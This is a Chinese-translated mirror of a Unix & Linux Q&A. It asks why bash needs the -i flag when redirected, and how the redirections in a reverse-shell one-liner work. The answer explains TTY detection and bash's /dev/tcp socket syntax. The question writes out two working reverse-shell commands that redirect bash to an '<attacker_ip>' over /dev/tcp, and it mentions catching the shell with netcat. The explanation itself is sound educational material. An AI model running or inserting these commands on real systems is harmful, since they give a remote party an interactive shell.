首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >重定向的Bash交互模式

重定向的Bash交互模式
EN

Unix & Linux用户
提问于 2015-09-14 20:59:21
回答 1查看 2.1K关注 0票数 1

我有两个关于巴什的问题。我在查看反向外壳和-i标志。当我执行bash -i > /dev/tcp/ip/port 2>&1 0>&1时,我在服务器机器上得到一个交互式shell,并使用nc -l端口捕获它。但是,当我不输入-i标志时,我会得到一个非登录、非交互的shell。到目前为止,这将是预期的行为。但是,在本地执行bashbash -i时,我两次都会得到交互式的新shell,就好像交互式是默认模式一样。为什么在没有-i的情况下重定向bash不是交互式的,而本地bash是交互的呢?

关于重定向的第二个问题,我看到了这个班轮,但我不太明白这里所涉及的重定向:

代码语言:javascript
复制
/bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1

据我所见,是将bash的stdout重定向到/dev/tcp.然后接受stdout作为stdin (0<&1)的位置,并将stderr重定向到stdout (2>&1)。这将如何实现反向外壳?它不应该重定向/dev/tcp的内容吗。把标准输出和错误重定向到哪里?

谢谢!

EN

回答 1

Unix & Linux用户

回答已采纳

发布于 2015-09-14 21:24:27

当bash的stdin和stderr连接到终端设备时,交互外壳是默认行为,这是由isatty()函数或其他类似工具检测到的。如果您在本地键入某个内容,而不通过管道(例如cat | bash),那么它就是TTY,而交互式是默认的。当您从套接字重定向时,它不是TTY,需要标志进入交互模式。

当您重定向到或从/dev/tcp/<ip>/<port>时,实际上并不使用/dev下的文件。(如果您尝试ls /dev/tcp,得到No such file or directory.),这实际上是bash接受的一种特殊语法,它使它打开一个套接字到给定的ipport,而不是执行打开的本地文件。而且套接字没有像文件一样的“读”或“写”模式,所以当fd 1是套接字时,语法0<&10>&1是等价的。

票数 3
EN
页面原文内容由Unix & Linux提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://unix.stackexchange.com/questions/229677

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档